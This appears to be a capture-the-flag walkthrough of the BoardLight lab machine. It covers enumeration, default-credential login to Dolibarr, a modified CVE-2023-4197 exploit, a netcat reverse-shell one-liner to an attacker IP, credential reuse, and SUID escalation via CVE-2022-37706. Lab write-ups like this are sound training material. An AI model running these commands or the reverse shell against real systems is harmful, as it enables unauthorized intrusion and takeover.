alt text

Information Gathering

Rustscan

Rustscan find SSH and HTTP running on target:

rustscan --addresses 10.10.11.11 --range 1-65535

alt text

Enumeration

HTTP - TCP 80

The website shows nothing special:

BoardLight is a cybersecurity consulting firm specializing in providing cutting-edge security solutions to protect your business from cyber threats

alt text

At the bottom of the page, there’s domain board.htb found, which we add to /etc/hosts:

alt text

Reading the source code, we can see there’s a commented out part with: portfolio.php

alt text

However, nothing shows up when trying to access it:

alt text

Let’s see if there’s other subdomains using gobuster:

sudo gobuster vhost --append-domain -u http://board.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

alt text

crm.board.htb is found.

Let’s add it to /etc/hosts as well.

crm.board.htb

The website is running on Dolibarr 17.0.0 and shows a login portal:

alt text

Clicking on Password Forgotten will lead us to password regeneration page:

http://crm.board.htb/user/passwordforgotten.php

alt text

Attempting some default credentials on login portal, admin:admin lets us bypass the portal:

alt text

Now that we are authenticated, let’s see what can be done from here.

Searching for the exploit relevant to the version, it seems like there are couple of them:

alt text

Shell as www-data

CVE-2023-4197

Let’s try exploiting CVE-2023-4197:

alt text

Using the exploit code, let’s see if we can successfully execute commands remotely:

alt text

Hmm, it seems like there’s an minor error with the code execution part.

Let’s make change to the exploit code to ensure that full PHP tags <?php ... ?> are used instead of short tags <? ... ?>, which may not be enabled on all servers.

Below is the code before modification:

"htmlheader": f"<? echo system('{cmd}'); ?>"

Below is the code after modification:

"htmlheader": f"<?php echo system('{cmd}'); ?>"

After modifying the code, we can now successfully execute commands:

alt text

Reverse Shell

Using the following payload, we will be able to spawn a reverse shell on netcat listener:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 1337 >/tmp/f

We now have a shell as www-data:

alt text

Let’s first enhance the shell using Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

alt text

Privesc: www-data to larissa

Local Enumeration

In order to fetch user flag, we would need to escalate our privilege to larissa:

alt text

Enumerating around, it seems like there could be some juicy information inside below config files:

alt text

Inside conf.php, SQL credentials are found:

alt text

Let’s try reusing the password above on SSH.

Luckily, we larissa was using the same password for mysql and we now have SSH connection:

alt text

Privesc: Larissa to root

Local Enumeration

Let’s see what ports are open internally:

alt text

MySQL(3306) seems to be open.

Let’s access it using the credentials found earlier:

alt text

dolibarr database seems interesting:

alt text

From llx_user table, we can obtain password hashes:

select * from llx_user;

loginpass_cryptedlastname
dolibarr10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCmSuperAdmin
admin10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96admin

Unfortunately, discovered hashes were uncrackable.

CVE-2022-37706

Let’s take a look at SUID files:

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

alt text

There are couple of SUID files that starts with enlightment, which we’ve never seen before:

Googling a bit on this, it seems like we would be able to exploit this SUID using CVE-2022-37706.

Using the exploit downloaded from here, we can easily get a shell as the root:

alt text

References